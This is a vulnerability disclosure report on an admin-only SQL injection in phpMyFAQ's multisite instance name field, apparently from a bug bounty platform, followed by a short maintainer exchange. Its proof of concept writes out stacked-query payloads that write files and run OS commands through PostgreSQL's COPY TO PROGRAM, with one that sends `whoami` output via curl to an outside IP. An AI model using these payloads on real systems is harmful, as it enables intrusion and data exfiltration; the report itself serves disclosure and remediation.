SQL Injection inside instance name leads to Remote Code Execution in thorsten/phpmyfaq
Reported on
Nov 3rd 2022
📜 Description
SQL injection (SQLi) is a web security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. It generally allows an attacker to view data that they are not normally able to retrieve. This might include data belonging to other users, or any other data that the application itself is able to access. In many cases, an attacker can modify or delete this data, causing persistent changes to the application's content or behavior.
In our application, SQL injection occurs when an administrator injects the field instance name
.
🕵️ Proof of Concept
Go to FAQ Multisites
SQL Injection with a False subquery
Instance name has not changed because the subquery was False
SQL Injection with a True subquery
Instance name has changed because the subquery was True
So you can exfiltrate the database using Boolean SQL Injection.
We can also write file to disk using STACKED_QUERIES' WHERE id=1; COPY (SELECT 'toto') TO '/tmp/toto'; -- -
. If the postgres instance can write into the webroot folder, this will lead to remote code execution !
We can execute OS system commands directly from postgres
To exfiltrate the result of the OS command, we can do this via HTTP :
STACKED_QUERIES' WHERE id=1; COPY (SELECT 1) TO PROGRAM 'curl XX.XX.XXX.XXX:4444?cmd=`whoami`'; -- -
And wait a connection on our server :
XX.XXX.XXX.XXX - - [03/Nov/2022 08:08:02] "GET /?cmd=postgres HTTP/1.1" 200 -
🔐 Mitigations
SQL injection can be prevented by using parameterized queries (also known as prepared statements) instead of string concatenation within the query.
The following code is vulnerable to SQL injection because the user input is concatenated directly into the query :
String query = "SELECT * FROM products WHERE category = '"+ input + "'";
Statement statement = connection.createStatement();
ResultSet resultSet = statement.executeQuery(query);
This code can be easily rewritten in a way that prevents the user input from interfering with the query structure:
PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");
statement.setString(1, input);
ResultSet resultSet = statement.executeQuery();
Parameterized queries can be used for any situation where untrusted input appears as data within the query.
📚 References
Impact
An SQL injection can have severe impacts on your application by allowing an attacker to :
- Recover all or part of your database (including senstive data like usernames and passwods hash).
- Modify or insert data in the database.
- Saturate database workers with resource-intensive math functions.
- Read or write files on the disk.
- Execute OS commands.
- ...
References
It would be great to assign a CVE id to this vulnerabilty if the report is accepted. Regards
Looks valid, but again, an admin would harm his own installation
Hello
Could we assign a CVE id to this vulnerabilty ? @admin @maintainer
Regards
Hey, could we assign a CVE id to this report ? @admin @maintainer